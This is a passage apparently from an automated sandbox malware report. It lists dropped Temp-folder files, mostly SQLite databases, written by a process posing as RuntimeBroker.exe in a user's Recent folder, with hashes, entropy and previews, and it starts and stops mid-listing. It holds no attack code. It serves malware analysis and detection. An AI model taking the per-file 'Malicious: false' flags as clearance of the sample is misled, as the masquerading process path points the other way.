Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LAOqKZ9ipW

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.133660689688185
Encrypted:	false
SSDEEP:	3:WdYcukQwn:Hc3Qw
MD5:	B0312D4489A3EF551D294F5DCEC58F99
SHA1:	EE1A886A54A674356699BE73FF6D28060ABC415D
SHA-256:	5E5CA5D8F8FEEA0A794041C5BB275FD5EB5576AB45163CE3AA99F22DA846D55C
SHA-512:	D1E4E2F160CD035D08A3E6979BFD62A6AC1A6C84C490369DC82654E3AA5B90E057D54930E05C4052270432FAEEE087641A1CD854450B835A1DC830BA56380F19
Malicious:	false
Preview:	RoOxQ66PfSJgSFo9zQ6GrcFuU

C:\Users\user\AppData\Local\Temp\LDSLPIDBCz

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LK5SNcTueK

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LXO5I6J3eK

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LcvC2PNcOw

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MoWbZ898w3

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\N1vC6iaJHB

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NDDs1M2kHw

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NsUTl63aPI

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NzWH2PNgqB

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\O9y1FIurgz

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OMIN3uzOZs

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OQYEQC26qN

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OXFQpyXCRb

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OXPFvSpdb3

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OlxSXimRBt

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OtnHwmJEtg

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\OvyNJeOxbS

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PCbHoUGurA

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PD2GEnK7Xh

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PDrEQph3me

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PNHMcThr3l

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\POf697oQpz

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PZDQD5qHX8

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\PywNR1Z0dd

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Qjj37oxQqQ

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
